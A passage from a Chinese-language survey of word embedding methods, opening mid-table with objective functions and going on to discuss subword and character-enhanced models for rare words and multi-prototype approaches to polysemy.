<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>min</mo><mrow><msubsup><mo>∑</mo><mrow><mi>w</mi><mo>∈</mo><mi>V</mi></mrow><mrow></mrow></msubsup><mrow><mo>max</mo><mrow><mo stretchy="true" form="prefix">(</mo><mn>0</mn><mo>,</mo><mn>1</mn><mo>−</mo><mi>g</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>s</mi><mo>,</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>+</mo><mi>g</mi><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>s</mi><mi>w</mi></msup><mo>,</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mrow><annotation encoding="application/x-tex">\min{\sum_{w \in V}^{}{\max\left( 0,1 - g(s,d) + g\left( s^{w},d \right) \right)}}</annotation></semantics></math>
</td>
</tr>
<tr>
<td>
Skip-Gram (softmax)
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>max</mo><mrow><msubsup><mo>∑</mo><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>∈</mo><mi>D</mi></mrow><mrow></mrow></msubsup><mrow><mo>log</mo><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>c</mi><mo stretchy="false" form="prefix">|</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mrow></mrow><annotation encoding="application/x-tex">\max{\sum_{(w,c) \in D}^{}{\log{p\left( c|w \right)}}}</annotation></semantics></math>
</td>
</tr>
<tr>
<td>
Skip-Gram (SGNS)
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>max</mo><mrow><msubsup><mo>∑</mo><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>∈</mo><mi>D</mi></mrow><mrow></mrow></msubsup><mrow><mo>log</mo><mrow><mi>σ</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>v</mi><mi>c</mi></msub><mo>⋅</mo><msub><mi>v</mi><mi>w</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><mo>+</mo><msubsup><mo>∑</mo><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>∈</mo><msup><mi>D</mi><mi>′</mi></msup></mrow><mrow></mrow></msubsup><mrow><mo>log</mo><mrow><mi>σ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mo>−</mo><msub><mi>v</mi><mi>c</mi></msub><mo>⋅</mo><msub><mi>v</mi><mi>w</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mrow></mrow><annotation encoding="application/x-tex">\max{\sum_{(w,c) \in D}^{}{\log{\sigma\left( v_{c} \cdot v_{w} \right)}} + \sum_{(w,c) \in D^{'}}^{}{\log{\sigma\left( - v_{c} \cdot v_{w} \right)}}}</annotation></semantics></math>
</td>
</tr>
<tr>
<td>
CBOW (softmax)
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>max</mo><mrow><msubsup><mo>∑</mo><mi>w</mi><mrow></mrow></msubsup><mrow><mo>log</mo><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo stretchy="false" form="prefix">|</mo><mrow><mo stretchy="true" form="prefix">{</mo><mi>c</mi><mo>∈</mo><mi>C</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">}</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mrow></mrow><annotation encoding="application/x-tex">\max{\sum_{w}^{}{\log{p\left( w|\left\{ c \in C(w) \right\} \right)}}}</annotation></semantics></math>
</td>
</tr>
<tr style="border-top: 1px black solid;">
<td>
SVD
</td>
<td>
分解<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><mi>U</mi><mi>S</mi><msup><mi>V</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">X = USV^{T}</annotation></semantics></math>
</td>
<td rowspan="5">
矩阵分解
</td>
<td rowspan="2">
代数迭代
</td>
</tr>
<tr>
<td>
NNSE
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>min</mo><mrow><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>m</mi></msubsup><mrow><mo stretchy="true" form="prefix">(</mo><msup><mrow><mo stretchy="true" form="prefix">|</mo><msub><mi>X</mi><mi>i</mi></msub><mo>−</mo><msub><mi>A</mi><mi>i</mi></msub><mo>×</mo><mi>D</mi><mo stretchy="true" form="postfix">|</mo></mrow><mn>2</mn></msup><mo>+</mo><mi>λ</mi><msub><mrow><mo stretchy="true" form="prefix">∥</mo><msub><mi>A</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">∥</mo></mrow><mn>1</mn></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">\min{\sum_{i = 1}^{m}\left( \left| X_{i} - A_{i} \times D \right|^{2} + \lambda\left\| A_{i} \right\|_{1} \right)}</annotation></semantics></math>
</td>
</tr>
<tr>
<td>
GloVe
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>min</mo><mrow><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>,</mo><mi>j</mi><mo>=</mo><mn>1</mn></mrow><mi>V</mi></msubsup><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>X</mi><mtext mathvariant="normal">ij</mtext></msub><mo stretchy="true" form="postfix">)</mo></mrow><msup><mrow><mo stretchy="true" form="prefix">(</mo><msubsup><mi>w</mi><mi>i</mi><mi>T</mi></msubsup><msub><mover><mi>w</mi><mo accent="true">̃</mo></mover><mi>j</mi></msub><mo>+</mo><msub><mi>b</mi><mi>i</mi></msub><mo>+</mo><msub><mover><mi>b</mi><mo accent="true">̃</mo></mover><mi>j</mi></msub><mo>−</mo><mo>log</mo><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>X</mi><mtext mathvariant="normal">ij</mtext></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow><mn>2</mn></msup></mrow></mrow></mrow><annotation encoding="application/x-tex">\min{\sum_{i,j = 1}^{V}{f\left( X_{\text{ij}} \right)\left( w_{i}^{T}{\widetilde{w}}_{j} + b_{i} + {\widetilde{b}}_{j} - \log\left( X_{\text{ij}} \right) \right)^{2}}}</annotation></semantics></math>
</td>
<td rowspan="3" style="border-top: 1px black solid;">
普通非线性优化
</td>
</tr>
<tr>
<td>
Regression (Hashimoto et al., 2016)
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><mo>−</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><msup><mrow><mo stretchy="true" form="prefix">|</mo><msub><mi>x</mi><mi>i</mi></msub><mo>−</mo><msub><mi>x</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">|</mo></mrow><mn>2</mn></msup><mo>+</mo><msub><mi>a</mi><mi>i</mi></msub><mo>+</mo><msub><mi>b</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>→</mo><mi>L</mi><mi>L</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>x</mi><mo>,</mo><mi>a</mi><mo>,</mo><mi>b</mi><mo>,</mo><mi>θ</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\exp\left( - \frac{1}{2}\left| x_{i} - x_{j} \right|^{2} + a_{i} + b_{j} \right) \rightarrow LL(x,a,b,\theta)</annotation></semantics></math>
</td>
</tr>
<tr>
<td>
Squared Norm (Arora et al., 2016)
</td>
<td>
<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>min</mo><mrow><msubsup><mo>∑</mo><mrow><mi>v</mi><mo>,</mo><mi>w</mi></mrow><mrow></mrow></msubsup><mrow><msub><mi>X</mi><mtext mathvariant="normal">vw</mtext></msub><msup><mrow><mo stretchy="true" form="prefix">(</mo><mfrac><msup><mrow><mo stretchy="true" form="prefix">|</mo><mi>v</mi><mo>+</mo><mi>w</mi><mo stretchy="true" form="postfix">|</mo></mrow><mn>2</mn></msup><mrow><mn>2</mn><mi>d</mi></mrow></mfrac><mo>−</mo><mo>log</mo><msub><mi>X</mi><mtext mathvariant="normal">vw</mtext></msub><mo>−</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mn>2</mn></msup></mrow></mrow></mrow><annotation encoding="application/x-tex">\min{\sum_{v,w}^{}{X_{\text{vw}}\left( \frac{|v + w|^{2}}{2d} - \log X_{\text{vw}} - C \right)^{2}}}</annotation></semantics></math>
</td>
</tr>
</tbody>
</table>
<p>其中概率函数p都是softmax,X是共现矩阵,regression (Hashimoto et al., 2016) 的函数LL是一个比较复杂的负二项分布的期望的表达式,可以参见原文。</p>
<p>从目标函数可以看出,基于语言模型的方法都会使用归一化的函数(softmax),导致复杂度比较高,解决的方法包括并行、层次化softmax和负采样。基于矩阵分解的模型都使用了共现矩阵,且目标函数的形式相似,如Arora et al. (2016) 的论文指出,GloVe的偏置量在该模型中有具体含义,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>b</mi><mi>i</mi></msub><mo>=</mo><msubsup><mi>w</mi><mi>i</mi><mn>2</mn></msubsup></mrow><annotation encoding="application/x-tex">b_{i} = w_{i}^{2}</annotation></semantics></math>,CBOW中的上下文词嵌入的均值<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><mi>K</mi></mfrac><msubsup><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi>K</mi></msubsup><msub><mi>w</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">\frac{1}{K}\sum_{k = 1}^{K}w_{k}</annotation></semantics></math>是该模型中语义变量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>c</mi><mi>t</mi></msub><annotation encoding="application/x-tex">c_{t}</annotation></semantics></math>的最大似然估计。</p>
<h2 id="词嵌入表示的性能增强">词嵌入表示的性能增强</h2>
<h3 id="低频词的处理">低频词的处理</h3>
<p>尽管各种词嵌入模型已经可以解决单词表示的问题,但要想实际使用这些模型还有一个很大的问题,就是它们对低频词的嵌入估计很差,或者说第3节中列举的常见词嵌入计算方法的泛化能力都很差。这里简单解释一下泛化能力差的原因。</p>
<p>首先考虑完全没有在训练语料库中出现的词(Out-of-Vocabulary, OOV)。无论是基于语言模型的模型还是基于共现矩阵分解的模型,都需要把单词一一映射到向量上,这种映射的具体实现方法可以是用矩阵下标或哈希表,但是无论怎样都只能把已知的单词作为key。所以这些模型对于完全没有出现过的词无能为力,需要引入更多假设或工程上的处理才行,例如在预处理阶段直接删除OOV。</p>
<p>再考虑语料库中出现频率很低的词。这种情况模型是能处理的,但是一般效果不好。一方面从信息量的角度上来讲,出现频率很低意味着我们无法得知关于这个词更多的含义。另一方面从模型训练的角度上来讲,上表列出的使用神经网络和普通非线性优化的方法都需要采用SGD、Adam等梯度下降的方法,在采样时选取低频数据的概率较小,导致这组数据的下降不充分。而使用代数迭代的方法会受到矩阵稀疏的影响,由于共现矩阵在低频词的行较为稀疏,特征相对不明显,所以在分解截断的过程中会倾向忽略仅有的信息。</p>
<p>这在具有long-tailed频率分布的形态丰富的语言中或词汇表变化很大的环境(例如社交媒体)中尤其有问题。要解决这个问题,可以从单词的构成入手,例如eventful、eventfully、uneventful和uneventfully具有相同的词根,实际上词义也是相关的。如果在训练过程中能有效利用subword information,那么在遇到低频词时也可以用词语的字符串信息进行推断。</p>
<h4 id="character-aware-neural-language-models">Character-Aware Neural Language Models</h4>
<p>Kim et al. (2015) 提出了一个字符感知的语言模型,该模型首先是字符embedding经过CNN,然后经过highway network,然后再作为LSTM的输入,最后经过一个softmax输出概率,这个概率的预测还是单词级别的。也就是说,该模型将词嵌入视为字符的卷积,训练是针对字符embedding的,也就不存在生词的问题了。</p>
<p>假设C为字符集合,d为character embeddings维度的大小,单词k由字符<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="true" form="prefix">[</mo><msub><mi>c</mi><mn>1</mn></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>c</mi><mi>l</mi></msub><mo stretchy="true" form="postfix">]</mo></mrow><annotation encoding="application/x-tex">\left\lbrack c_{1},\ldots,c_{l} \right\rbrack</annotation></semantics></math>组成,其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>l</mi><annotation encoding="application/x-tex">l</annotation></semantics></math>为单词k的长度,那么单词k就可以表示为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>C</mi><mi>k</mi></msup><mo>∈</mo><msup><mi>R</mi><mrow><mi>d</mi><mo>⋅</mo><mi>l</mi></mrow></msup></mrow><annotation encoding="application/x-tex">C^{k} \in R^{d \cdot l}</annotation></semantics></math>。</p>
<p>首先<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>C</mi><mi>k</mi></msup><annotation encoding="application/x-tex">C^{k}</annotation></semantics></math>经过不同宽度的卷积核卷积,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>f</mi><mi>k</mi></msup><mo stretchy="false" form="prefix">[</mo><mi>i</mi><mo stretchy="false" form="postfix">]</mo><mo>=</mo><mo>tanh</mo><mrow><mo stretchy="true" form="prefix">(</mo><mrow><mo stretchy="true" form="prefix">⟨</mo><msup><mi>C</mi><mi>k</mi></msup><mo stretchy="false" form="prefix">[</mo><mo>*</mo><mo>,</mo><mi>i</mi><mo>:</mo><mi>i</mi><mo>+</mo><mi>w</mi><mo>−</mo><mn>1</mn><mo stretchy="false" form="postfix">]</mo><mo>,</mo><mi>H</mi><mo stretchy="true" form="postfix">⟩</mo></mrow><mo>+</mo><mi>b</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">f^{k}\lbrack i\rbrack = \tanh\left( \left\langle C^{k}\lbrack*,i:i + w - 1\rbrack,H \right\rangle + b \right)</annotation></semantics></math>,然后对每种宽度做最大池化,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><mi>k</mi></msup><mo>=</mo><msub><mo>max</mo><mi>i</mi></msub><mrow><msup><mi>f</mi><mi>k</mi></msup><mo stretchy="false" form="prefix">[</mo><mi>i</mi><mo stretchy="false" form="postfix">]</mo></mrow></mrow><annotation encoding="application/x-tex">y^{k} = \max_{i}{f^{k}\lbrack i\rbrack}</annotation></semantics></math>。将不同宽度的<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>y</mi><mi>k</mi></msub><annotation encoding="application/x-tex">y_{k}</annotation></semantics></math>拼接起来得到一个初步卷积后的单词表示。</p>
<p>这个单词表示可以经过一个可选的highway network,所谓highway network就是一个半透明的非线性层,transform gate和carry gate的大小也与输入有关,作为训练参数。</p>
<p>最后highway network的输出向量就是单词表示,它是用字符级别的表示通过不同宽度的卷积核卷积而成的,所以有不同长度的subword信息。</p>
<p>这篇论文的另一个贡献是在实验部分测试了在不同语言下的模型性能。评价指标是模型的困惑度(PPL)。测试结果显示,在英语方面,尽管该模型的参数减少了约60%,但是结果与Penn Treebank (PTB)现有的SOTA相当。在词法丰富的语言(阿拉伯语、捷克语、法语、德语、西班牙语和俄语)上,该模型优于各种基线(Kneser-Ney, word-level/morpheme-level LSTM),而且参数也更少。</p>
<p>但是这个模型的问题在于,后续每次需要新的词嵌入时,都要通过卷积运算才可以。</p>
<h4 id="subword-n-gram">Subword N-gram</h4>
<p>Bojanowski et al. (2017) 基于英文词缀的特点增强了skip-gram with negative sampling (SGNS) 模型。它与Character-Aware Neural Language Models相比忽略了subword的顺序信息,固定了subword的长度,因此也不需要卷积层。</p>
<p>例如一个单词“where”,如果选取超参数n=3,那么可以生成以下5个字符序列</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>G</mi><mrow><mi>w</mi><mo>=</mo><mtext mathvariant="normal">where</mtext></mrow></msub><mo>=</mo><mrow><mo stretchy="true" form="prefix">{</mo><mtext mathvariant="normal"><wh</mtext><mo>,</mo><mspace width="0.222em"></mspace><mtext mathvariant="normal">whe</mtext><mo>,</mo><mspace width="0.222em"></mspace><mtext mathvariant="normal">her</mtext><mo>,</mo><mspace width="0.222em"></mspace><mtext mathvariant="normal">ere</mtext><mo>,</mo><mspace width="0.222em"></mspace><mtext mathvariant="normal">re></mtext><mo stretchy="true" form="postfix">}</mo></mrow></mrow><annotation encoding="application/x-tex">G_{w = \text{where}} = \left\{ \text{<wh},\ \text{whe},\ \text{her},\ \text{ere},\ \text{re>} \right\}</annotation></semantics></math></p>
<p>如果是普通的SGNS,那么两个词嵌入间的距离计算方式就是内积<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><msubsup><mi>u</mi><mi>w</mi><mi>T</mi></msubsup><msub><mi>v</mi><mi>c</mi></msub></mrow><annotation encoding="application/x-tex">s(w,c) = u_{w}^{T}v_{c}</annotation></semantics></math>,其中u是目标词嵌入,v是上下文词嵌入。</p>
<p>而该作者提出了新的词嵌入距离计算方式</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>c</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><munderover><mo>∑</mo><mrow><mi>g</mi><mo>∈</mo><msub><mi>G</mi><mi>w</mi></msub></mrow><mrow></mrow></munderover><msubsup><mi>z</mi><mi>g</mi><mi>T</mi></msubsup><msub><mi>v</mi><mi>c</mi></msub></mrow><annotation encoding="application/x-tex">s(w,c) = \sum_{g \in G_{w}}^{}z_{g}^{T}v_{c}</annotation></semantics></math></p>
<p>其中z是词缀向量。可以理解为词嵌入就是所有长度为n的子串(前后各加一个padding)所对应的向量的和。</p>
<p>实验部分,主要的评价指标有三个:similarity、analogy和language model。这篇论文也测试了模型在不同语言下的性能,对于不同的语言,采用n-gram的字符级向量信息,带来的收益并非都成正比。对于类似德文这样多复合词的,会取得更好的效果,但是对英文来说,则不一定适用。另外,对于语法学(syntactic)的问题,该论文的模型表现得更优异,但是对于语意学(semantic)的问题,该论文的模型则不会比基线模型表现得更好,有时候甚至表现得更糟糕。最后的language model任务,作者采用的数据集语言包括捷克语、德语、西班牙语、法语和俄语,并与LSTM、skip-gram模型以及log-bilinear language model、character aware language model (Kim et al., 2015)进行了对比,结果发现该论文的引入subword information的效果最好。这显示了subword information在语言建模任务中的重要性,并展示了用于词法丰富的语言的向量的有效性。</p>
<p>关于上述两个模型的对比结果,我认为Subword N-gram好于Character-Aware Neural Language Models的原因在于它的基础结构,Subword N-gram用了skip-gram作为训练方法,而Character-Aware Neural Language Models用的是NNLM,这两者学习词嵌入的效果本身就有明显差异。我个人猜想,如果将两者的结构统一起来,也就是用skip-gram + character-aware的结构,或许也能实现较好的结果。</p>
<h4 id="中文字符加强character-enhanced-word-embedding模型">中文字符加强Character-Enhanced Word Embedding模型</h4>
<p>大多数词嵌入模型都是基于英文语料进行实验和测试的,包括前面两节提到的Character-Aware Neural Language Models和Subword N-gram两种加强低频词效果的方法,都是尝试提取单词中的内部结构来辅助推测词义,在英文中单词的词缀也确实有这种提示信息。但是在这方面中文可能比英文能做得更好,因为中文的词是由汉字构成的,而汉字相比于英文词缀有更具体的语义信息。</p>
<p>Chen et al. (2015) 提出了一种在词嵌入训练过程中加入字符信息的方法,称为Character-Enhanced Word Embedding (CWE) ,并以中文为主测试了该方法的效果。这个模型大致是,每个词和每个字都对应一个向量表示,最终一个词的表示是</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>j</mi></msub><mo>=</mo><msub><mi>w</mi><mi>j</mi></msub><mo>⊕</mo><mfrac><mn>1</mn><msub><mi>N</mi><mi>j</mi></msub></mfrac><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><msub><mi>N</mi><mi>j</mi></msub></munderover><msub><mi>c</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">x_{j} = w_{j} \oplus \frac{1}{N_{j}}\sum_{k = 1}^{N_{j}}c_{k}</annotation></semantics></math></p>
<p>其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>w</mi><mi>j</mi></msub><annotation encoding="application/x-tex">w_{j}</annotation></semantics></math>是词的表示,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>c</mi><mi>k</mi></msub><annotation encoding="application/x-tex">c_{k}</annotation></semantics></math>是字的表示,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>N</mi><mi>j</mi></msub><annotation encoding="application/x-tex">N_{j}</annotation></semantics></math>是该词的字符数,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>x</mi><mi>j</mi></msub><annotation encoding="application/x-tex">x_{j}</annotation></semantics></math>是新的词嵌入。<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mo>⊕</mo><annotation encoding="application/x-tex">\oplus</annotation></semantics></math>是词表示和字表示的连接方法,文中提到可以用addition或concatenation,其中addition要求词表示和字表示的长度相同,而concatenation没有这个要求,测试发现虽然concatenation比addition需要更多的训练时间,但是效果并没有更好,所以后续就只用了addition的方法进行测试,具体地说就是</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>j</mi></msub><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>j</mi></msub><mo>+</mo><mfrac><mn>1</mn><msub><mi>N</mi><mi>j</mi></msub></mfrac><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><msub><mi>N</mi><mi>j</mi></msub></munderover><msub><mi>c</mi><mi>k</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">x_{j} = \frac{1}{2}\left( w_{j} + \frac{1}{N_{j}}\sum_{k = 1}^{N_{j}}c_{k} \right)</annotation></semantics></math></p>
<p>除了这个模型以外,论文中还提出了两个细节上的处理。</p>
<p>第一是关于字义的区分。由于汉字存在比较大的歧义性,所以每个汉字只分配一个向量不足以表达它的含义。文中提出了三种多原型的字符表示方法:第一种是用位置来区分,因为字义很大程度上取决于它在词语中的位置,所以给每个字分配三种表示,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>c</mi><mi>B</mi></msup><mo>,</mo><mspace width="0.222em"></mspace><msup><mi>c</mi><mi>M</mi></msup><mo>,</mo><mspace width="0.222em"></mspace><msup><mi>c</mi><mi>E</mi></msup></mrow><annotation encoding="application/x-tex">c^{B},\ c^{M},\ c^{E}</annotation></semantics></math>,分别表示该字在词的首位、中间和末位的情况。第二种是用聚类的方法,对于每个字<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>c</mi><annotation encoding="application/x-tex">c</annotation></semantics></math>,将它所有出现的位置分为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>N</mi><mi>c</mi></msub><annotation encoding="application/x-tex">N_{c}</annotation></semantics></math>类,对应<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>N</mi><mi>c</mi></msub><annotation encoding="application/x-tex">N_{c}</annotation></semantics></math>个向量,每次训练的过程中用上次训练的结果,选与上下文词嵌入最相似的那个作为这次训练的向量。第三种方法是非参数聚类,与第二种类似,只是每个字的类别数量是动态调整的,在训练过程中,如果遇到一个字的所有表示向量都与当前的上下文词嵌入差别很大,就再增加一个字向量。</p>
<p>第二是对非组成词的处理。非组成词是指词语的含义并不是由它的每个字的字义组成的,具体包括三种:单纯多字词(single-morpheme multi-character words),如“琵琶”“徘徊”,这些字一般不出现在别的词中;音译词(transliterated words),如“沙发”“巧克力”,这些词主要是由字音而不是字义构成的;实体名称(entity names),如人名、地名、组织名等。处理这些非组成词的方法是,对于单纯多字词无需特别处理,因为这些字只在这些词中出现,对模型没有负面影响;对于音译词和实体名称分别采用词表和词性标注的方法,在训练过程中只用他们的原始词嵌入表示,不再拆分使用他们的汉字嵌入表示。</p>
<p>论文中有模型的参数复杂度和计算复杂度的分析,然后是四个实验,分别是similarity、analogy、模型对语料库大小的灵敏度测试和两种多原型方法的定性对比。对比模型是CBOW、skip-gram、GloVe、单原型CWE和多种多原型CWE模型。在similarity和analogy两个任务上,多原型CWE模型的效果最好,因为它比普通的词嵌入模型多学习了字符级的信息,并且普通的词嵌入模型无法处理OOV,作者将这种情况下普通词嵌入模型的得分设为零。在两种多原型方法的对比中,发现基于位置的方法时好时坏,而基于聚类的方法在大多数情况下都很好,因为确实基于位置的方法比较粗糙,字义也不一定与它在词中的位置有很大关系。</p>
<h3 id="多义词和同形异义词的处理">多义词和同形异义词的处理</h3>
<p>使用词嵌入时还有一个隐含的问题,就是自然语言中一个词可能有多种含义,而我们如果只用一种表示的话就不能很好地表示多义词语义特征。为了解决这个问题,目前有两种思路,一种是想办法将多义词的不同含义做不同的标记后再训练它们的表示,另一种是通过分解训练完成后的单个嵌入来获得多个表示。</p>
<p>Reisinger & Mooney (2010) 提出了一种使用聚类来为每个单词产生多个意义向量的方法,Huang et al. (2012) 将该方法应用到了他们的Global Context-Aware Neural Language Model上,并称为多原型神经语言模型。该方法概括为如下过程。</p>
<ol type="1">
<li><p>针对一个词出现的所有位置设定一个固定大小的窗口(前后各5),对窗口中的词求加权平均权重。</p></li>
<li><p>使用spherical k-means聚类方法对这些短句进行聚类。</p></li>
<li><p>最后该词在其每个所属的类别中被重新标记,训练中视为多个词。</p></li>
</ol>
<p>在实验中(Huang et al., 2012),测试方法也分为定性和定量两种。定性方法是,在训练了多原型表示之后,对每个词的多个原型,如bank_1(银行)和bank_2(岸),分别选取3个词嵌入距离最近的词,看他们的词义是否相近。结果实例:bank_1: corporation, insurance, company;bank_2: shore, coast, direction,可以看到效果还是不错的。定量方法是,构造一个数据集,每组数据是两个词语和他们的上下文,由人类评估这两个词语在这些上下文语境下的相似性,最后的指标是相关系数。与其他数据集的不同之处在于,可能一组数据的两个词是完全一样的,但是他们在语境中的含义不同。这种情况下,普通的单原型词语表示方法一定会认为他们词义完全一致,但是该多原型表示方法可以捕获他们的不同语义。结果确实证明了多原型的表现要优于单原型。</p>
<p>Arora et al. (2018) 采用了另一种思路。这项工作证明了,在常见的词嵌入模型中,多义词的词嵌入实际上是它多个含义的线性组合。通过随机游走模型(Arora et al., 2016)的训练过程,可以提取出话语原语(discourse atom),这些话语原语就是多义词的多个语义,解释话语原语就看与这个原语关联最近的一些词。如,考虑一个多义词,比如tie,它可以指领带,或比赛平局,或打结。如果用tie1, tie2, tie3来表示每个单独的含义,那么GloVe和word2vec的计算结果满足</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mtext mathvariant="normal">tie</mtext></msub><mo>=</mo><msub><mi>α</mi><mn>1</mn></msub><msub><mi>v</mi><mrow><mi>t</mi><mi>i</mi><mi>e</mi><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>α</mi><mn>2</mn></msub><msub><mi>v</mi><mrow><mi>t</mi><mi>i</mi><mi>e</mi><mn>2</mn></mrow></msub><mo>+</mo><msub><mi>α</mi><mn>3</mn></msub><msub><mi>v</mi><mrow><mi>t</mi><mi>i</mi><mi>e</mi><mn>3</mn></mrow></msub><mo>+</mo><mi>⋯</mi></mrow><annotation encoding="application/x-tex">v_{\text{tie}} = \alpha_{1}v_{tie1} + \alpha_{2}v_{tie2} + \alpha_{3}v_{tie3} + \cdots</annotation></semantics></math></p>
<p>其中系数<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>α</mi><mi>i</mi></msub><annotation encoding="application/x-tex">\alpha_{i}</annotation></semantics></math>是该含义出现的频率占所有含义的比值。</p>
<p>推导过程是将随机游走模型(Arora et al., 2016)进行了修改,变为高斯游走模型,其中的话语向量c满足均值为0、协方差为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>Σ</mi><annotation encoding="application/x-tex">\Sigma</annotation></semantics></math>的高斯分布,每次运动时,产生一个窗口的单词。</p>
